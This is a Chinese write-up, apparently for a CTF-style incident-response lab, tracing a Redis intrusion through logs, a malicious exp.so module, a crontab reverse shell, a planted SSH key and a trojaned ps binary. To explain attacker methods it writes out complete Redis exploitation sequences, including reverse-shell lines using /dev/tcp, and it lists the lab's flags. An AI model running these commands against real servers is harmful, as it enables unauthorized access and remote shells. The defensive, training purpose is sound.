玄机-第二章日志分析-redis应急响应

应急响应-redis入侵应急响应

JACKBREAK441

1926人浏览 · 2024-05-19 20:58:41

JACKBREAK441 · 2024-05-19 20:58:41 发布

题目要求

服务器场景操作系统 Linux
服务器账号密码 root xjredis

任务环境说明
注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件，请上机排查

未知攻，焉知防

关于Redis的攻击手法有

redis未授权访问漏洞
利用redis写webshell
利用“公私钥” 认证获取root权限
利用crontab反弹shell

熟悉攻击者的攻击手法我们才能更好地去分析和应急响应

首先先查看/var/log/redis.log日志，将日志dump下来后简单分析一波

服务器使用的redis版本是5.0.1，而redis的未授权访问漏洞的影响范围是在Redis <=5.0.5的，那么黑客是不是可能通过redis未授权打进来后再进行的后面一系列的操作的呢

我们来到redis的配置文件下，/etc/redis,密码的配置是被注释掉的，说明redis当前是并没有启动密码保护的，能够被未授权攻击

查找黑客的攻击IP

在/var/log/redis.log日志中发现192.168.100.13这个IP频繁出现尝试与不同主节点建立同步时的连接失败，且每次尝试都以“Error condition on socket for SYNC: Connection refused”结束，相当可疑，会不会就是攻击者的IP呢

在日志的这段内容中出现可疑信息

日志表明Redis副本（以419为PID，S表示Slave角色）正在尝试连接到IP地址为192.168.100.20，端口为8888的Redis主服务器，以建立主从关系，并且还说明Redis加载了一个名为system的模块，该模块是从本地文件./exp.so加载的，Redis支持加载外部模块以扩展其功能，这里需要留意，因为加载未经审核或未知来源的模块可能存在风险，有可能是恶意操作的一部分

而且redis也有利用主从复制getshell的攻击手法

redis主从复制getshell

config set dir /tmp/ //设置文件路径为/tmp/
config set dbfilename exp.so //设置数据库文件名为：exp.so
slaveof vpsip port //设置主redis地址为 vpsip，端口为 port
module load /tmp/exp.so
system.exec 'bash -i >& /dev/tcp/ip/port 0>&1'

连接上我们的靶机的本地redis，，执行攻击操作，观察日志

我们想加载exp2.so的操作就已经被记录到了日志中，其中43.192.114.29是不是就是我们使用来攻击的IP，同理上面的日志中192.168.100.20就是攻击成功的IP，flag{192.168.100.20}

而exp.so早已被加载到了主机中，说明攻击已经成功，192.168.100.20就是攻击IP

实锤木马

将黑客上传的恶意文件里面的 FLAG 提交

将exp.so拖入二进制工具找到flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}

找出黑客反弹shell的IP

同样redis的攻击手法里有利用crontab写入定时任务来反弹shell的手法

redis-cli -h 192.168.100.13 #连接

redis flushall #清除所有键值

config set dir /var/spool/cron/crontabs/ #设置保存路径

config set dbfilename shell #保存名称

set xz “\n * bash -i >& /dev/tcp/192.168.100.13/7777 0>&1\n” #将反弹shell写入xz键值

save #写入保存路径的shell文件

那我们去分析主机的定时任务列表是不是就能发现反弹shell的情况了

crontab -l

flag{192.168.100.13}

溯源分析黑客的用户名

同样，redis的攻击手法中也有利用ssh-keygen 公钥登录服务器的方式

原理

SSH提供两种登录验证方式，一种是口令验证也就是账号密码登录，另一种是密钥验证。

当redis以root身份运行，可以给root账户写入ssh公钥权限，直接通过ssh登录服务器，
在攻击机中申生成ssh公钥和私钥，密码设为空

ssh-keygen -t rsa
进入.ssh目录:cd .ssh/ 将生成的公钥保存到1.txt
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h [redis的ip] -x set crack
redis-cli -h 192.168.157.129
config set dir /root/.ssh       #	更改redis备份路径为ssh公钥存放目录（一般为/root/.ssh）
config set dbfilename authorized_keys  #设置上传公钥的备份文件名字为authorized_keys
config get dbfilename #检查是否更改成功 
save      #保存 
exit       #退出
ssh -i id_rsa root@redis的IP   #在攻击机上使用ssh免密登录靶机

也就是说会向靶机上写入ssh密钥，我们查看一下靶机的/root/.ssh,确实有一个被写入的公钥authorized_keys

留下了用户名

在GitHub上寻找这个用户名tye · xj-test-user/redis-rogue-getshell@76b1b74 · GitHub

flag{xj-test-user-wow-you-find-flag}

找出黑客篡改的命令

cd /usr/bin
ls -al
发现异常

cat ps

发现这并不是系统自带的ps命令了，该脚本被用来替代了系统原有的ps命令，使用ps_ $1 $2 $3调用一个未知的命令或脚本（ps_），并将传递给ps命令的参数转发给它。然后，通过管道将输出传递给grep -v 'threadd'，过滤掉包含字符串'threadd'的行，说明ps命令被篡改了